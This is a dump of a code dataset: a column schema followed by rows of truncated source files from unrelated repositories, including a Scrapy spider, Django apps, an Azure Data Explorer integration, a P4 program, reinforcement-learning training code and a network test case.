blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
777 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
gha_language
stringclasses
149 values
src_encoding
stringclasses
26 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
3
10.2M
extension
stringclasses
188 values
content
stringlengths
3
10.2M
authors
listlengths
1
1
author_id
stringlengths
1
132
d54e532e6ca44bc53831b5abdcf003a2c8825d08
73db66a771cbef43abf1fefc7e0d210001ec2b4a
/example/example/spiders/book_spider.py
49c774a8c963ad55285e8c1f814908dc49c7ee0e
[]
no_license
tianrking/Scrapy_Demo
52008c094d4858383a61c2fd03ba3aa0dddcb3b9
9c621d2e1175aac5cfff0f42fc7667be6f46c9c1
refs/heads/master
2020-12-14T21:18:33.356797
2020-02-03T08:24:48
2020-02-03T08:24:48
234,871,368
0
0
null
null
null
null
UTF-8
Python
false
false
901
py
import scrapy class BookSpider(scrapy.Spider): name="books" start_urls=["https://ncov.dxy.cn/ncovh5/view/pneumonia"] #start_urls=["http://books.toscrape.com/"] def parse(self,response): #for book in response.css('article.product_pod'): #for book in response.xpath('//article[@class="...
[ "root@localhost.localdomain" ]
root@localhost.localdomain
c786245e6f92c1f9c62b1acb26e39a9ac9f11ac1
fafa39d9eda46f5ee0d3ac7bf199237e7a748931
/API/course/urls.py
1c02cf1d5389151843b1392e818592f06517b2a3
[ "MIT" ]
permissive
kasimbozdag/SWE_573
bfb137b6db94619d76082ea3884036d64cfe934d
4bce24f98fe6980b1f2c83196b8454b56118186b
refs/heads/master
2022-02-18T11:42:04.363376
2019-05-29T09:56:19
2019-05-29T09:56:19
171,244,989
0
0
MIT
2022-02-10T10:36:38
2019-02-18T08:35:15
JavaScript
UTF-8
Python
false
false
1,259
py
from django.conf.urls import url from . import views urlpatterns = [ url(r'^create_course', views.CourseCreateAPIView.as_view(), name="create-course"), url(r'^list', views.CourseListAPIView.as_view(), name="courses"), url(r'^my', views.TeacherCoursesAPIView.as_view(), name="my-courses"), url(r'^(?P<pk...
[ "bozdag80@yahoo.com" ]
bozdag80@yahoo.com
631ed22a4ad5c8562b3a2322cf4296eb416e9432
0d55bde6f4784f6dea9e8e6945d05bbf627e1e7d
/Packs/AzureDataExplorer/Integrations/AzureDataExplorer/AzureDataExplorer.py
61982787a34eb6d8b32572cb86ef1ab05b7453ec
[ "MIT" ]
permissive
crestdatasystems/content
d7040415431b5d06d1569433a49869afcb0292bd
5f0f00840c39f028dca8377551bbd725d8ee8a2d
refs/heads/master
2023-08-16T19:35:38.150912
2023-07-11T05:59:59
2023-07-11T05:59:59
280,669,011
2
1
MIT
2023-03-10T16:00:35
2020-07-18T14:06:44
Python
UTF-8
Python
false
false
25,963
py
# type: ignore # Disable insecure warnings from CommonServerPython import * ''' IMPORTS ''' import uuid from typing import Dict, List from decimal import Decimal import requests from azure.kusto.data.response import KustoResponseDataSet, KustoResponseDataSetV1 from datetime import datetime from MicrosoftApiModule impo...
[ "noreply@github.com" ]
crestdatasystems.noreply@github.com
401fce8967d656ccb95f7f42b57e3d4814b4d9c3
aae551baa369fda031f363c2afbdf1984467f16d
/Machine_Learning/Contest/Code/gaussian_process.py
879a09d88af6d3a713ec7d9b52d8ab5d61a59578
[]
no_license
ameet-1997/Course_Assignments
37f7d4115baec383ccf029772efcf9c33beb2a23
629e9d5cfc6fa6cf37a96c5fcc33bc669cbdc59d
refs/heads/master
2021-05-16T16:23:32.731296
2018-02-03T05:57:01
2018-02-03T05:57:01
119,939,202
0
0
null
null
null
null
UTF-8
Python
false
false
1,748
py
import pandas as pd import numpy as np from sklearn.preprocessing import Imputer from sklearn.decomposition import PCA from sklearn.model_selection import train_test_split from sklearn.metrics import f1_score from sklearn.utils import shuffle import time from sklearn.svm import SVC from sklearn.ensemble import BaggingC...
[ "ameetsd97@gmail.com" ]
ameetsd97@gmail.com
b03a0215246eb83e851d9f6c084dc32406b38a7b
ddf2e85b8e8fda8cbaf92fc79a53abdb962c8bde
/tests/violated/unused_return/orig.py
abab334f0f228067c4361058deb44c937a78d4aa
[ "Apache-2.0" ]
permissive
p4gauntlet/toz3
359bd20bdc8fe2b7ccf3564a90988823d94df078
0fddd9e21ac7b80e4a0bf8a4e6b1bdcc01308724
refs/heads/master
2023-05-11T17:23:10.972917
2023-05-09T16:02:56
2023-05-09T16:02:56
329,900,719
4
0
Apache-2.0
2023-02-22T23:28:49
2021-01-15T12:03:53
Python
UTF-8
Python
false
false
17,966
py
from p4z3 import * def p4_program(prog_state): prog_state.declare_global( Enum( "error", ["NoError", "PacketTooShort", "NoMatch", "StackOutOfBounds", "HeaderTooShort", "ParserTimeout", "ParserInvalidArgument", ]) ) prog_state.declare_global( P4Extern("packet_in", type_params=[], methods=[...
[ "noreply@github.com" ]
p4gauntlet.noreply@github.com
12631fa3eb7b47872dab382bbdbf156c15689b08
1215102b7853653e241e6dfcfc88a0a260aaf3dc
/hyperhyper/pmi.py
f0a385d3a7982cbe0f5086463485244ff486d582
[ "BSD-2-Clause" ]
permissive
jfilter/hyperhyper
81cf09763f1b1bebe8b581d4e60a53295babcd77
30983a82b1db037408de56bdddde9a5a9508c656
refs/heads/master
2023-01-02T00:24:59.259407
2020-10-25T21:46:14
2020-10-25T21:46:14
189,021,107
14
0
null
null
null
null
UTF-8
Python
false
false
3,145
py
""" implements PMI matrix (Pointwise mutual information) See: https://en.wikipedia.org/wiki/Pointwise_mutual_information """ import heapq import numpy as np from gensim import matutils from scipy.sparse import csr_matrix, dok_matrix def calc_pmi(counts, cds): """ Calculates e^PMI; PMI without the log(). ...
[ "hi@jfilter.de" ]
hi@jfilter.de
4086e3b1a38b44ca64c3c26ab771c4058a470927
c2bdcd5aec95d5c4ac4322f166c2ef9b2b8992f9
/kurstag_8/loesungen_8/Kreditkarte_Loesung2.py
68fa57d69d26630f26eb934afd6fa936dafcb8d2
[]
no_license
softborg/Python_HWZ_Start
4437c5d8676301db8f4c42b75c98f0cc91320012
6361647113365df66e3ad84a0d1d1b563137ebbd
refs/heads/master
2022-07-21T16:27:30.333598
2022-07-12T12:08:37
2022-07-12T12:08:37
252,724,616
0
0
null
null
null
null
UTF-8
Python
false
false
1,099
py
# coding=utf8 # Aufgabe 2 - Kreditkarte # 1. erstellen sie folgende Klassen 'Kreditkarte', 'Visa' und 'Mastercard # 2. beim Instanziieren soll die Kartennummer mitgegeben werden, die Kartennummer ist public # 3. Die Klassen 'Visa' und 'Mastercard' erben von 'Kreditkarte' und haben jeweils einen eignen Initalisierung #...
[ "stefan.berger@softborg.com" ]
stefan.berger@softborg.com
31fa03847837f428a42b58c029ab3b2371f78651
02c6b39399c1cfb434ad718c90bed3d8e6310ed0
/training/ppo/tune/tune_train_PPO_car.py
dc4022a6f9ce60ae09adfcb96cc19810c33bb75c
[]
no_license
phate09/SafeDRL
09b8924fa91aa43cf543ea5727ebe4cc8e13c0a5
3d4278eaaabb046a90fc1cebd1b5862d63dc5894
refs/heads/master
2022-09-17T05:12:28.529329
2022-08-29T08:21:32
2022-08-29T08:21:32
204,663,981
8
3
null
2021-12-02T14:13:46
2019-08-27T09:07:04
Python
UTF-8
Python
false
false
3,401
py
import random from datetime import datetime import numpy as np import ray from gym.vector.utils import spaces from ray import tune from ray.rllib.models import ModelCatalog from ray.rllib.models.torch.fcnet import FullyConnectedNetwork as TorchFC from ray.rllib.models.torch.torch_modelv2 import TorchModelV2 from ray.r...
[ "phate09@hotmail.it" ]
phate09@hotmail.it
5ca47a8f2ebd168cadb146b40760ae74bf5b65dd
a913684fe348945c2b79786115fd392945cfcf72
/user/urls.py
314e6f4677e2c1433fef3c06f975cb168ecb7b44
[]
no_license
LukaszMalucha/docker-django
0332c4153d50add049db36479079ace2c664bea2
4b34f835b7ea3f8f9baa9956943b4ba9111f39fa
refs/heads/master
2023-02-03T05:56:10.059009
2020-12-19T16:55:06
2020-12-19T16:55:06
322,545,925
0
0
null
null
null
null
UTF-8
Python
false
false
401
py
from django.urls import path from user import views app_name = 'user' urlpatterns = [ path("create/", views.CreateUserView.as_view(), name="create"), path("authenticate/", views.CreateTokenView.as_view(), name="authenticate"), path("my-account/", views.ManageUserView.as_view(), name="my-account"), pa...
[ "lucasmalucha@gmail.com" ]
lucasmalucha@gmail.com
8f5ad21cd04e55f5a29773af97e8c3682ed21a87
02843d06b2a19b1d864561ad0c960c81dc11d5dd
/apps/enquiry/admin.py
21b06c4de52f39d25c2cf2017c69c72d79403956
[]
no_license
hqpr/amazing-asia
b0eb450937d007f6beed96b2e5ff09e2200b0cad
5a749c77514d97359a3eaa7207943563cd2a7c9a
refs/heads/master
2021-04-25T16:33:24.205942
2017-11-30T17:05:27
2017-11-30T17:05:27
108,191,181
0
0
null
null
null
null
UTF-8
Python
false
false
92
py
from django.contrib import admin from .models import Enquiry admin.site.register(Enquiry)
[ "adubnyak@gmail.com" ]
adubnyak@gmail.com
bd52bfd00c8d7b8e6a83dda80689159e389c7d39
3a57805be67d568bc516cc821deb3d912dbf87ad
/diffscuss/walker.py
feabedbadb58dae353f35514507b42580832274f
[ "MIT" ]
permissive
tomheon/diffscuss
8e0ee331cc37dd7a3607e2a434fb59ea9ca69d3f
53f2d001bd3a5cb80c6ada16b4e570afd1989a09
refs/heads/master
2023-08-15T23:05:59.277846
2021-06-17T21:19:39
2021-06-17T21:19:39
8,643,720
39
3
MIT
2018-03-21T16:33:17
2013-03-08T05:18:43
Python
UTF-8
Python
false
false
4,486
py
from collections import namedtuple import re class BadNestingException(Exception): pass class MissingAuthorException(Exception): pass class EmptyCommentException(Exception): pass class CommentInHeaderException(Exception): pass DIFF_HEADER = 'DIFF_HEADER' DIFF = 'DIFF' COMMENT_HEADER = 'COMMENT...
[ "tomheon@gmail.com" ]
tomheon@gmail.com
031d3b14a2ac7dac2dfe0897acea866b23cce203
78d7d7aeb78a8cea6d0e10b89fc4aa6c46c95227
/1910.py
bb86d16343515a3463d889f65c184f6a9f3e47a0
[]
no_license
GenryEden/kpolyakovName
97db13ef93061a8c2afc6cc5acd91337f79063f1
c5d7f631ae7ec8770e56170574b82ea2b7d8a4d9
refs/heads/master
2023-05-23T21:22:51.983756
2021-06-21T08:56:49
2021-06-21T08:56:49
350,466,773
0
0
null
null
null
null
UTF-8
Python
false
false
375
py
def perebor(alphabet, length): if length == 0: yield '' else: for letter in alphabet: for word in perebor(alphabet, length-1): yield letter+word def check(word): toCount = 'РСТМ' cnt = 0 for s in word: if s in toCount: cnt += 1 return cnt >= 3 ans = set() for word in perebor('РУСТАМ', 6): if ...
[ "a926788@gmail.com" ]
a926788@gmail.com
e99da711b9b45b9235b594bcc9117c07bc1d1f4a
e2e08d7c97398a42e6554f913ee27340226994d9
/pyautoTest-master(ICF-7.5.0)/test_case/scg/scg_OSPF/test_c140802.py
1986465490ec5bcd8e0a0201dc5ae7f3c2d1a163
[]
no_license
lizhuoya1111/Automated_testing_practice
88e7be512e831d279324ad710946232377fb4c01
b3a532d33ddeb8d01fff315bcd59b451befdef23
refs/heads/master
2022-12-04T08:19:29.806445
2020-08-14T03:51:20
2020-08-14T03:51:20
287,426,498
0
0
null
null
null
null
UTF-8
Python
false
false
1,481
py
import pytest import time import sys from os.path import dirname, abspath sys.path.insert(0, dirname(dirname(abspath(__file__)))) from page_obj.scg.scg_def_ospf import * from page_obj.scg.scg_def_vlan_interface import * from page_obj.scg.scg_def_bridge import * from page_obj.common.rail import * from page_ob...
[ "15501866985@163.com" ]
15501866985@163.com
8942552852c2ba4597d1c70ce5a8adf7e957cec7
801510e45d9aebe5c5b8b09a3ce4453a3a11a3ca
/django/oneTable/appOneTable/models.py
13b38b271e63473033021ebe53d6d188f7645474
[]
no_license
michelleshan/coding_dojo_python_course
5581ebca0a645ba7231a2da2d2d64d6c3735bfc4
e20e8195950004ef0aa09e6b0f84e7f05bd355e8
refs/heads/master
2022-11-21T01:34:54.309175
2020-07-16T03:29:45
2020-07-16T03:29:45
null
0
0
null
null
null
null
UTF-8
Python
false
false
806
py
from django.db import models # ONE Dungeon has MANY prisoners # ONE Prisoner has ONE Dungeon # ONE to MANY # ONE Dungeon has MANY dislikes # ONE Prisoner has MANY dislikes # MANY to MANY class Dungeon(models.Model): name = models.TextField() num_people_inside = models.IntegerField() location = models.Tex...
[ "michellehan@Michelles-Air.attlocal.net" ]
michellehan@Michelles-Air.attlocal.net
70bd5e42cf5abc0bac19ba712cb49c33a704467a
0420ce2fc8799d5fbd6e96313e6716f5e2ef825b
/bagogold/bagogold/migrations/0002_auto_20150626_2230.py
f994aba4d8be4dc46dd336f174e53b2b592b387d
[]
no_license
nizbel/bag-of-gold
1da10acef4d73b8426ca3329b37a28c5f9587af4
a3fd89eb47d33d546bd91947f033d71218c8700f
refs/heads/master
2022-11-13T01:07:26.934813
2020-01-14T16:00:16
2020-01-14T16:00:16
275,689,573
0
0
null
null
null
null
UTF-8
Python
false
false
2,554
py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('bagogold', '0001_initial'), ] operations = [ migrations.CreateModel( name='Operacao', fields=[ ...
[ "kingbowserii@gmail.com" ]
kingbowserii@gmail.com
869a4c69c3206641fbf875e3c5dda79d6c2c898b
fde8c89b352076f95cc16e589b1baf18f7befb51
/gabbi/json_parser.py
430a64a64e3cfb16f9e4c2f2260c5414d4e57408
[]
no_license
571451370/devstack_mitaka
b11145256deab817bcdf60a01a67bb6b2f9ddb52
1bdd3f2598f91c1446b85c5b6def7784a2f6ab02
refs/heads/master
2020-08-26T12:53:07.482514
2017-04-12T01:32:55
2017-04-12T01:32:55
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,760
py
# # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under...
[ "tony.pig@gmail.com" ]
tony.pig@gmail.com
0c32e339b8ce62f268067fe422d2a0647eb1a8f6
160f08e768d7271f9522ad2597ac4ee79c04477a
/src/c3nav/editor/migrations/0007_auto_20170629_1327.py
b6eef0ff11322c72847b632eda0ad004cbc53e55
[ "Apache-2.0" ]
permissive
c3nav/c3nav
6254724dfc8589ee03c6028577befd7c65b05857
1a4ef5caa06ddacc8d9370b5adcee248fd4f55f7
refs/heads/main
2023-08-04T08:36:18.431458
2023-07-24T09:57:18
2023-07-24T09:57:18
56,852,994
140
47
Apache-2.0
2023-07-05T22:55:27
2016-04-22T12:13:51
Python
UTF-8
Python
false
false
686
py
# -*- coding: utf-8 -*- # Generated by Django 1.11.2 on 2017-06-29 13:27 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('editor', '0006_auto_20170629_1222'), ] operations = [ migrations.AddField( ...
[ "laura@codingcatgirl.de" ]
laura@codingcatgirl.de
7cda6545aa4e117911a9bf0c0c0162781f742660
f576f0ea3725d54bd2551883901b25b863fe6688
/sdk/keyvault/azure-mgmt-keyvault/azure/mgmt/keyvault/v2021_10_01/models/_models_py3.py
d9a4c3cc5f7155b9a39e6f24901bc956464b01fa
[ "LicenseRef-scancode-generic-cla", "MIT", "LGPL-2.1-or-later" ]
permissive
Azure/azure-sdk-for-python
02e3838e53a33d8ba27e9bcc22bd84e790e4ca7c
c2ca191e736bb06bfbbbc9493e8325763ba990bb
refs/heads/main
2023-09-06T09:30:13.135012
2023-09-06T01:08:06
2023-09-06T01:08:06
4,127,088
4,046
2,755
MIT
2023-09-14T21:48:49
2012-04-24T16:46:12
Python
UTF-8
Python
false
false
152,343
py
# coding=utf-8 # pylint: disable=too-many-lines # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRe...
[ "noreply@github.com" ]
Azure.noreply@github.com
f7d836cffddca933e0110c1cf6abb4867b2437a0
a140b45f9f16b74353d15ed573ea765b3fef046d
/algorithms/leet.0703.src.1.py
b36a1c7529c8b932d297432e523a94f045ad3ef2
[]
no_license
fish-ball/leetcode
258d4b37f05560d914bcd29f7c54820deeadb33f
3dfd8f73c65d43cc2766c20700a619141acb927b
refs/heads/master
2023-05-28T18:32:43.638675
2023-05-20T04:25:23
2023-05-20T04:25:23
31,968,994
1
0
null
null
null
null
UTF-8
Python
false
false
457
py
import heapq class KthLargest: def __init__(self, k: int, nums: List[int]): self.k = k heapq.heapify(nums) self.nums = nums def add(self, val: int) -> int: heapq.heappush(self.nums, val) while len(self.nums) > self.k: heapq.heappop(self.nums) return...
[ "noreply@github.com" ]
fish-ball.noreply@github.com
a7b2ab6cad42ec68d2b70750712b01acfc831215
11dbcc94972a370d92b190cc071826d90ae3ff84
/conjugation/migrations/0014_auto_20180412_1343.py
3813e57c26684e4265033d31da78c4628acbf6c0
[ "Apache-2.0" ]
permissive
5CORNERS/www.le-francais.ru
ef99b401c24eb7a2b84c04bdf638fc7460e05d81
ab1a77f99a53b4b66a1c4961c335a288ae38b40d
refs/heads/master
2023-09-01T15:59:46.534050
2023-03-14T15:18:45
2023-03-14T15:18:45
10,008,050
5
2
Apache-2.0
2023-08-19T19:17:19
2013-05-12T02:06:15
Python
UTF-8
Python
false
false
438
py
# -*- coding: utf-8 -*- # Generated by Django 1.11 on 2018-04-12 10:43 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('conjugation', '0013_auto_20180412_1321'), ] operations = [ migrations.RenameField( ...
[ "anton.dumov@gmail.com" ]
anton.dumov@gmail.com
4a4ea8d341833f55cde5f4b145d6add741371c2b
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p02788/s685748566.py
41028a13b217903ab98ffe4b1a1224e7edb5ce04
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
662
py
import math from bisect import bisect_right n, d, a = map(int, input().split()) x_list = [] max_x = 0 for _ in range(n): x, h = map(int, input().split()) x -= 1 x_list.append([x, h]) max_x = max(max_x, x) x_list.sort() xx = [x[0] for x in x_list] hh = [x[1] for x in x_list] ans = 0 accum = [0 for _ in ...
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
7c5ab14f132e8abc3055cf0b989fb0c5a14bba46
926b4949f31b99e68e07fdc5c181becf90870e26
/BioCrowd/apps/login/forms.py
04860331c93eb7eb4fb2c786d72126591d52af87
[]
no_license
bxm156/BioCrowd
a563728212d712bc4bfd2cd4b0204789a0a8cc7b
de407fc1640cccbc5354de0dfeb3586fec792899
refs/heads/master
2021-01-13T02:14:14.844716
2013-05-15T01:15:04
2013-05-15T01:15:04
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,226
py
from django.contrib.auth.forms import AuthenticationForm from django import forms from crispy_forms.layout import Submit, Layout, Fieldset, Field from crispy_forms.bootstrap import FormActions from crispy_forms.helper import FormHelper class CrispyAuthenticationForm(AuthenticationForm): username = forms.CharField...
[ "bxm156@case.edu" ]
bxm156@case.edu
c383e7a60082d7a8dadc8d9296c4db641dfa7a47
307d3837d31f9e3728af2b62ca51ebf63fe6ec6b
/hall_of_fame/kimdonghun/[BOJ]2775_IWillBeAWomenPresident.py
e10e3178d5f2338e9e890aeb876d3a082e2d1843
[]
no_license
ellynhan/challenge100-codingtest-study
905043497d154b8a7333ca536e536d013f6e7454
bcdc6d04f13b12ba80b42e066f9d244d7c2cc698
refs/heads/master
2023-09-01T14:10:13.481013
2023-08-27T14:38:52
2023-08-27T14:38:52
401,561,230
162
176
null
2023-09-09T14:56:25
2021-08-31T03:30:36
C++
UTF-8
Python
false
false
413
py
import sys import math T = int(sys.stdin.readline()) for i in range(T) : K = int(sys.stdin.readline()) N = int(sys.stdin.readline()) m_list = [0] * (N+1) for l in range(N+1) : m_list[l] = l for j in range(K) : for l in range(1, N+1) : m_list[l] = ...
[ "wown252@naver.com" ]
wown252@naver.com
672b5ae11c94cbd93c53a45adbed6015e142ce3e
3f6088cf1aaaddc18ca1c6f2d5bfc69590941d60
/Xianyang_dwt/projects/gbrt_multi_step_one_month.py
1a6086934a4a27dec07cefec4a9b627a52b417ca
[ "MIT" ]
permissive
YX577/MonthlyRunoffForecastByAutoReg
80038b1b0401d0dbe9b4b67cf531298090815cf7
2d66c628141f001e4ffb3dc3b7520a0f0f0ff239
refs/heads/master
2022-03-30T10:48:30.165288
2020-01-17T02:36:47
2020-01-17T02:36:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
471
py
import matplotlib.pyplot as plt import os root_path = os.path.dirname(os.path.abspath('__file__')) from variables import multi_step_lags import sys sys.path.append(root_path) from models import multi_step_gbrt if __name__ == '__main__': multi_step_gbrt( root_path=root_path, station='Xianyang', ...
[ "zuojianyi@outlook.com" ]
zuojianyi@outlook.com
599a5100c97cb2e4253e1355234bd786899eb985
3bec37b9145af3381f1bbc55745d3ef193694c46
/presentation/performance/bimodal.py
965f31acae633b21499c738a90af24fdf56d0dc8
[]
no_license
nuria/study
c00fa8776514ba4343d9923a9e61af5482d7454c
57ddbafc762da7c8756b475f016c92bf391bc370
refs/heads/master
2023-08-05T01:00:48.923046
2023-07-22T14:54:48
2023-07-22T14:54:48
7,290,586
5
20
null
null
null
null
UTF-8
Python
false
false
304
py
#!/usr/local/bin/python import matplotlib.pyplot as pl x = [10,10,20,20,20,20,20, 30,30, 30, 30, 40, 40, 60,70, 70, 70, 70, 80, 80, 80, 80, 80, 90, 90, 100] bins = [10,20,30,40,50,60,70,80,90,100] pl.hist(x, bins, color=('pink')) pl.ylim(ymax=6) pl.title("Test Scores") pl.xlabel("Score") pl.show()
[ "nuria@wikimedia.org" ]
nuria@wikimedia.org
3846a652621902896625e7dd95b162936569cd06
7fb805dc0789bfa3bbac7a94b667548c01a8eb4a
/site-packages/warlock/__init__.py
966b75d55f9e56c8f366ebc621f386734e4bee21
[ "Python-2.0" ]
permissive
hclareth7/freezer_libraries
8a6173140971679e5b5dc8428e1e56734f02d906
e0bd890eba5e7438976fb3b4d66c41c128bab790
refs/heads/master
2022-11-30T02:19:46.718660
2019-05-29T20:29:20
2019-05-29T20:29:20
189,293,415
0
1
NOASSERTION
2022-11-17T05:38:07
2019-05-29T20:28:12
Python
UTF-8
Python
false
false
713
py
# Copyright 2012 Brian Waldon # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing,...
[ "root@ubuntu-14.04.general.micro.yul.linux.novalocal" ]
root@ubuntu-14.04.general.micro.yul.linux.novalocal
6cb9fd58900ec505001f59b51e1c295c89baff3d
6045075c734d65a3cec63d3ae15f8f9f13836559
/solutions/0077_Combinations/recur_self.py
c534028c6b36b89e0714d0278ffe0c21c214e2c0
[]
no_license
zh-wang/leetcode
c058470fdf84fb950e3d4f974b27826718942d05
6322be072e0f75e2da28b209c1dbb31593e5849f
refs/heads/master
2021-12-28T02:49:11.964213
2021-08-25T06:29:21
2021-08-25T06:29:21
189,919,649
0
0
null
null
null
null
UTF-8
Python
false
false
655
py
class Solution: def combine(self, n: int, k: int) -> List[List[int]]: # combine(n, k) = combine(n-1, i-1) + [i], k <= i <= n # 1. For the element we pick for combine(n, k), # we can pick it from k to n, cause we need at least k elements to form the answer. # (We know that the fi...
[ "viennakanon@gmail.com" ]
viennakanon@gmail.com
3812936abe41673337ae02dc7f1dcaa153745673
5be8b0f2ee392abeee6970e7a6364ac9a5b8ceaa
/xiaojian/forth_phase/spider/day09/spider_day09_note_course/day09/Test/Test/proxies.py
fde6501a77012465746a28724407c37aa732ba45
[]
no_license
Wellsjian/20180826
424b65f828f0174e4d568131da01dafc2a36050a
0156ad4db891a2c4b06711748d2624080578620c
refs/heads/master
2021-06-18T12:16:08.466177
2019-09-01T10:06:44
2019-09-01T10:06:44
204,462,572
0
1
null
2021-04-20T18:26:03
2019-08-26T11:38:09
JavaScript
UTF-8
Python
false
false
65
py
proxy_list = [ 'http://1.1.1.1:1111', 'http://2.2.2.2:2222' ]
[ "1149158963@qq.com" ]
1149158963@qq.com
c9366d2c943f63b4c637c861fa71090d1af49555
c91d029b59f4e6090a523bf571b3094e09852258
/src/produto/migrations/0021_produtotamanho_descricao.py
d5cbafd682e15e63f33be66a3c4d365186036266
[ "MIT" ]
permissive
anselmobd/fo2
d51b63ebae2541b00af79448ede76b02638c41f0
8e7f8f3d9a296c7da39d0faf38a266e9c6c162ab
refs/heads/master
2023-08-31T19:59:33.964813
2023-08-31T19:50:53
2023-08-31T19:50:53
92,856,677
1
0
MIT
2023-04-21T21:50:46
2017-05-30T17:04:27
Python
UTF-8
Python
false
false
503
py
# -*- coding: utf-8 -*- # Generated by Django 1.11.5 on 2019-04-29 19:49 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('produto', '0020_produtocor_descricao'), ] operations = [ migrations.AddFiel...
[ "anselmo.blanco.dominguez+github@gmail.com" ]
anselmo.blanco.dominguez+github@gmail.com
a522239343b1e09f2c5134b508faa2f98456ebbb
c4c159a21d2f1ea0d7dfaa965aeff01c8ef70dce
/flask/flaskenv/Lib/site-packages/pandas/_config/config.py
788bdbb89a23217a4a35e3dbccf570e3d3fa075f
[]
no_license
AhsonAslam/webapi
54cf7466aac4685da1105f9fb84c686e38f92121
1b2bfa4614e7afdc57c9210b0674506ea70b20b5
refs/heads/master
2020-07-27T06:05:36.057953
2019-09-17T06:35:33
2019-09-17T06:35:33
208,895,450
0
0
null
null
null
null
UTF-8
Python
false
false
130
py
version https://git-lfs.github.com/spec/v1 oid sha256:947b386607f6b3f78c6e96a0c9aaa85d0fd62af2fb3fc31d67c95cfeec3e83d4 size 22977
[ "github@cuba12345" ]
github@cuba12345
c1e07b3cd70a17a10d69eea452c3c3ded007a6d6
f620403443b2c0affaed53505c002f35dc68020c
/StreamGeneration/GlobalSortByTime.py
6ed5583c67de689562fa1d548b710d9c6a8cab7f
[]
no_license
ZhuJiahui/CTMTS
c552b3026deb47879f9aa5bde4b002cf6283858d
9f8981f6e61900a68a38ae0392e01771beee9651
refs/heads/master
2021-01-12T10:18:27.579697
2016-12-14T02:23:29
2016-12-14T02:23:29
76,416,453
0
0
null
null
null
null
UTF-8
Python
false
false
4,066
py
# -*- coding: utf-8 -*- ''' Created on 2014年7月22日 @author: ZhuJiahui506 ''' import os import time from operator import itemgetter from TextToolkit import quick_write_list_to_text def get_time_range(read_directory): ''' 最初时间与最后时间 :param read_directory: ''' time_series = [] each_time_interval =...
[ "zhujiahui@outlook.com" ]
zhujiahui@outlook.com
3294126f04d6d5c3ee2390dfc9a57ecb73bc88e2
85af4750761974dd406edf614cfe74d0cfc5ba6f
/apps/users/migrations/0003_user_area.py
bd6e8ed903869ceabdc2691194afbe75c7dd7f5f
[]
no_license
Comunidad-de-Programadores/Team-Vue-14-Comfeco-Backend
ebdf9724b6963629c887370d2ddfb7ced072854e
e14856fe6d7b49289cd8cf4bca7e98556ec1ec96
refs/heads/main
2023-03-22T00:57:55.189866
2021-03-19T13:37:01
2021-03-19T13:37:01
337,901,217
0
0
null
null
null
null
UTF-8
Python
false
false
599
py
# Generated by Django 3.1.1 on 2021-03-06 05:58 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('users', '0002_auto_20210228_1300'), ] operations = [ migrations.AddField( model_name='user', name='area', ...
[ "danielhuamani15@gmail.com" ]
danielhuamani15@gmail.com
3b4f675e1614fdb5809f39e201751cfadc0e0ad1
17248f16c4bf01b9b8257ba4855fb9d747bab100
/windbgtool/debugger_load_breakpoints.py
4cf7221dce572d52a6e2a50ec5afb20d89384a52
[ "MIT" ]
permissive
fengjixuchui/windbgtool
0d910596ab77c1482fbb8a9c82c381829baaa428
9dc759e983043ded2a8de143af24d94a3a4e4862
refs/heads/master
2020-08-17T14:57:48.968526
2019-10-17T06:02:19
2019-10-17T06:02:19
215,680,906
0
0
MIT
2019-10-17T06:02:22
2019-10-17T01:55:12
null
UTF-8
Python
false
false
980
py
import sys import os import logging import windbgtool from optparse import OptionParser, Option parser = OptionParser(usage="usage: %prog [options] args") parser.add_option("-b", "--breakpoint_db", dest="breakpoint_db", type="string", default="", metavar="BREAKPOINT_DB", help="Breakpoint DB filename...
[ "oh.jeongwook@gmail.com" ]
oh.jeongwook@gmail.com
5a98ae5a045a32ec3241b0ba03fe150df8ed8e90
d5d7b0773d312545a0b36f72d119a3feae3c200b
/manage.py
1d906eb32601e4c1065a1be1dd03f8f36f891566
[]
no_license
princ3raj/advanceBlogApp
0e23812a5ff27ad5bf2238422073a5ab45d4ae0a
ebed84f2899773cd15fb66f515f9f5787307056a
refs/heads/master
2023-06-11T02:57:19.954941
